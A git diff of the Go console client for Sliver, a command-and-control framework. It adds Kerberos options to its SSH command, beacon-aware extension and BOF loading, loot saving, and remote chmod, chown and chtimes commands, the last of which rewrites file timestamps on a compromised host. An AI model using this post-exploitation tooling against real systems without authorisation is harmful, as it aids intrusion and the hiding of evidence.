This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
@@ -31,9 +49,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
port := ctx.Flags.Uint("port")
|
||||
privateKeypath := ctx.Flags.String("private-key")
|
||||
if privateKeypath != "" {
|
||||
privKey, err = ioutil.ReadFile(privateKeypath)
|
||||
privateKeyPath := ctx.Flags.String("private-key")
|
||||
if privateKeyPath != "" {
|
||||
privKey, err = os.ReadFile(privateKeyPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -43,6 +61,22 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
hostname := ctx.Args.String("hostname")
|
||||
command := ctx.Args.StringList("command")
|
||||
kerberosRealm := ctx.Flags.String("kerberos-realm")
|
||||
kerberosConfig := ctx.Flags.String("kerberos-config")
|
||||
kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
|
||||
|
||||
if kerberosRealm != "" && kerberosKeytabFile == "" {
|
||||
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
|
||||
return
|
||||
}
|
||||
kerberosKeytab := []byte{}
|
||||
if kerberosKeytabFile != "" {
|
||||
kerberosKeytab, err = os.ReadFile(kerberosKeytabFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
|
||||
oldUsername := username
|
||||
@@ -59,6 +93,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
PrivKey: privKey,
|
||||
Password: password,
|
||||
Command: strings.Join(command, " "),
|
||||
Realm: kerberosRealm,
|
||||
Krb5Conf: kerberosConfig,
|
||||
Keytab: kerberosKeytab,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -31,6 +31,7 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
@@ -38,11 +39,13 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
// ManifestFileName - Extension manifest file name
|
||||
ManifestFileName = "extension.json"
|
||||
)
|
||||
|
||||
@@ -56,6 +59,7 @@ type ExtensionManifest struct {
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
@@ -113,7 +117,7 @@ func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
}
|
||||
|
||||
// ParseExtensions - Parse extension files
|
||||
// LoadExtensionManifest - Parse extension files
|
||||
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
@@ -169,8 +173,9 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
helpMsg := extCmd.Help
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.CommandName,
|
||||
Help: helpMsg,
|
||||
Name: extCmd.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCmd(extCtx, con)
|
||||
@@ -178,11 +183,11 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
// f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
if len(extCmd.Arguments) > 0 {
|
||||
if 0 < len(extCmd.Arguments) {
|
||||
// BOF specific
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var (
|
||||
@@ -190,12 +195,15 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
defaultValue grumble.ArgOption
|
||||
)
|
||||
switch arg.Type {
|
||||
case "int", "short":
|
||||
case "int", "integer", "short":
|
||||
argFunc = a.Int
|
||||
defaultValue = grumble.Default(0)
|
||||
case "string", "wstring", "file":
|
||||
argFunc = a.String
|
||||
defaultValue = grumble.Default("")
|
||||
default:
|
||||
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
|
||||
return
|
||||
}
|
||||
if arg.Optional {
|
||||
argFunc(arg.Name, arg.Desc, defaultValue)
|
||||
@@ -212,34 +220,33 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
con.App.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
|
||||
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Try to find the extension in the loaded extensions
|
||||
if len(session.Extensions) == 0 {
|
||||
if checkCache {
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
con.PrintErrorf("List extensions error: %s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
return errors.New(extList.Response.Err)
|
||||
}
|
||||
extensionList = extList.Names
|
||||
} else {
|
||||
extensionList = session.Extensions
|
||||
}
|
||||
depLoaded := false
|
||||
for _, extName := range extensionList {
|
||||
if !depLoaded && extName == ext.DependsOn {
|
||||
depLoaded = true
|
||||
}
|
||||
if ext.Name == extName {
|
||||
if ext.CommandName == extName {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
@@ -248,7 +255,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
|
||||
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
@@ -258,31 +265,17 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
|
||||
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
|
||||
return errRegister
|
||||
}
|
||||
// Update session info
|
||||
if filepath.Ext(binPath) != ".o" {
|
||||
// Don't update session for BOFs, we don't cache them
|
||||
// on the implant side (yet)
|
||||
// update the Session info
|
||||
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
Extensions: extensionList,
|
||||
SessionID: session.ID,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
|
||||
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: session.OS,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
@@ -295,10 +288,10 @@ func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest,
|
||||
return nil
|
||||
}
|
||||
|
||||
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
|
||||
depExt, f := loadedExtensions[depName]
|
||||
if f {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, session.OS, session.Arch)
|
||||
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
depExt, ok := loadedExtensions[depName]
|
||||
if ok {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -306,23 +299,31 @@ func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *g
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return registerExtension(con, depExt, depBinData, session, ctx)
|
||||
return registerExtension(goos, depExt, depBinData, ctx, con)
|
||||
}
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
|
||||
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
callExtension *sliverpb.CallExtension
|
||||
err error
|
||||
extensionArgs []byte
|
||||
extName string
|
||||
entryPoint string
|
||||
)
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ext, ok := loadedExtensions[ctx.Command.Name]
|
||||
if !ok {
|
||||
@@ -330,23 +331,15 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
if err = loadExtension(ctx, session, con, ext); err != nil {
|
||||
checkCache := session != nil
|
||||
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Failed to read extension file: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -361,7 +354,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Beacon Object File -- requires a COFF loader
|
||||
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
con.PrintErrorf("BOF args error: %s\n", err)
|
||||
return
|
||||
}
|
||||
extName = ext.DependsOn
|
||||
@@ -373,10 +366,11 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
@@ -385,22 +379,39 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
con.PrintErrorf("Call extension error: %s\n", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
if callExtResp.Response != nil && callExtResp.Response.Async {
|
||||
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, callExtResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
})
|
||||
con.PrintAsyncResponse(callExtResp.Response)
|
||||
} else {
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtOutput - Print the ext execution output
|
||||
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
|
||||
if extName == commandName {
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
} else {
|
||||
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
|
||||
}
|
||||
if 0 < len(string(callExtension.Output)) {
|
||||
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
if len(callExtension.Output) > 0 {
|
||||
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(callExtension.Output)
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
@@ -415,6 +426,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
|
||||
// Parse BOF arguments from grumble
|
||||
for _, arg := range ext.Arguments {
|
||||
switch arg.Type {
|
||||
case "integer":
|
||||
fallthrough
|
||||
case "int":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
err = argsBuffer.AddInt(uint32(val))
|
||||
|
||||
@@ -27,6 +27,7 @@ import (
|
||||
"github.com/alecthomas/chroma/formatters"
|
||||
"github.com/alecthomas/chroma/lexers"
|
||||
"github.com/alecthomas/chroma/styles"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -49,10 +50,14 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -74,16 +79,39 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// PrintCat - Print the download to stdout
|
||||
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
var (
|
||||
lootDownload bool = true
|
||||
err error
|
||||
)
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
userLootType := ctx.Flags.String("type")
|
||||
userLootFileType := ctx.Flags.String("file-type")
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
lootType, err := loot.ValidateLootType(userLootType)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
// Even if the loot type is bad, we can still print the result to the screen
|
||||
// We will not loot it though
|
||||
lootDownload = false
|
||||
}
|
||||
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
|
||||
|
||||
if lootDownload {
|
||||
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
if ctx.Flags.Bool("colorize-output") {
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ChmodCmd - Change the permissions of a file on the remote file system
|
||||
func ChmodCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
fileMode := ctx.Args.String("mode")
|
||||
|
||||
if fileMode == "" {
|
||||
con.PrintErrorf("Missing parameter: file permissions (mode)\n")
|
||||
return
|
||||
}
|
||||
|
||||
chmod, err := con.Rpc.Chmod(context.Background(), &sliverpb.ChmodReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
FileMode: fileMode,
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if chmod.Response != nil && chmod.Response.Async {
|
||||
con.AddBeaconCallback(chmod.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, chmod)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintChmod(chmod, con)
|
||||
})
|
||||
con.PrintAsyncResponse(chmod.Response)
|
||||
} else {
|
||||
PrintChmod(chmod, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintChmod - Print the chmod response
|
||||
func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverConsoleClient) {
|
||||
if chmod.Response != nil && chmod.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", chmod.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", chmod.Path)
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ChownCmd - Change the owner of a file on the remote file system
|
||||
func ChownCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
uid := ctx.Args.String("uid")
|
||||
|
||||
if uid == "" {
|
||||
con.PrintErrorf("Missing parameter: user id\n")
|
||||
return
|
||||
}
|
||||
|
||||
gid := ctx.Args.String("gid")
|
||||
|
||||
if gid == "" {
|
||||
con.PrintErrorf("Missing parameter: group id\n")
|
||||
return
|
||||
}
|
||||
|
||||
chown, err := con.Rpc.Chown(context.Background(), &sliverpb.ChownReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
Uid: uid,
|
||||
Gid: gid,
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if chown.Response != nil && chown.Response.Async {
|
||||
con.AddBeaconCallback(chown.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, chown)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintChown(chown, con)
|
||||
})
|
||||
con.PrintAsyncResponse(chown.Response)
|
||||
} else {
|
||||
PrintChown(chown, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintChown - Print the chown response
|
||||
func PrintChown(chown *sliverpb.Chown, con *console.SliverConsoleClient) {
|
||||
if chown.Response != nil && chown.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", chown.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", chown.Path)
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ChtimesCmd - Change the access and modified time of a file on the remote file system
|
||||
func ChtimesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
// DateTime layout (https://pkg.go.dev/time)
|
||||
layout := "2006-01-02 15:04:05"
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
atime := ctx.Args.String("atime")
|
||||
|
||||
if atime == "" {
|
||||
con.PrintErrorf("Missing parameter: Last accessed time id\n")
|
||||
return
|
||||
}
|
||||
|
||||
t_a, err := time.Parse(layout, atime)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
unixAtime := t_a.Unix()
|
||||
|
||||
mtime := ctx.Args.String("mtime")
|
||||
|
||||
if mtime == "" {
|
||||
con.PrintErrorf("Missing parameter: Last modified time id\n")
|
||||
return
|
||||
}
|
||||
|
||||
t_b, err := time.Parse(layout, mtime)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
unixMtime := t_b.Unix()
|
||||
|
||||
chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
ATime: unixAtime,
|
||||
MTime: unixMtime,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if chtimes.Response != nil && chtimes.Response.Async {
|
||||
con.AddBeaconCallback(chtimes.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, chtimes)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintChtimes(chtimes, con)
|
||||
})
|
||||
con.PrintAsyncResponse(chtimes.Response)
|
||||
} else {
|
||||
PrintChtimes(chtimes, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintChtimes - Print the Chtimes response
|
||||
func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverConsoleClient) {
|
||||
if chtimes.Response != nil && chtimes.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", chtimes.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", chtimes.Path)
|
||||
}
|
||||
@@ -22,46 +22,37 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// DownloadCmd - Download a file from the remote system
|
||||
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
localPath := ctx.Args.String("local-path")
|
||||
|
||||
src := remotePath
|
||||
fileName := filepath.Base(src)
|
||||
dst, _ := filepath.Abs(localPath)
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
recurse := ctx.Flags.Bool("recurse")
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
|
||||
